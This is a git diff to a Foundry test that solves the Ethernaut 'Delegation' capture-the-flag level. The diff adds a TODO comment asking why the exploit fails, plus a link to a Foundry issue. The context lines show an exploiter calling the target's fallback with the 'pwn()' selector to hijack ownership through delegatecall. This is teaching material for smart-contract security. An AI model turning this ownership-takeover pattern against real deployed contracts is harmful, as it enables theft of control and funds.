diff --git a/test/EthernautCTF/DelegationExploit.t.sol b/test/EthernautCTF/DelegationExploit.t.sol
index 6d37f8c..4380fba 100644
--- a/test/EthernautCTF/DelegationExploit.t.sol
+++ b/test/EthernautCTF/DelegationExploit.t.sol
@@ -25,6 +25,8 @@ contract DelegationExploit is Test {
 
     vm.startPrank(exploiter);
     // Call the `fallback` method using Delegate's `pwn` selector.
+    // TODO: Understand why the exploit does not work?!
+    // https://github.com/foundry-rs/foundry/issues/824
     (bool success, ) = address(target).call(abi.encodeWithSignature('pwn()'));
     assertTrue(success);
     vm.stopPrank();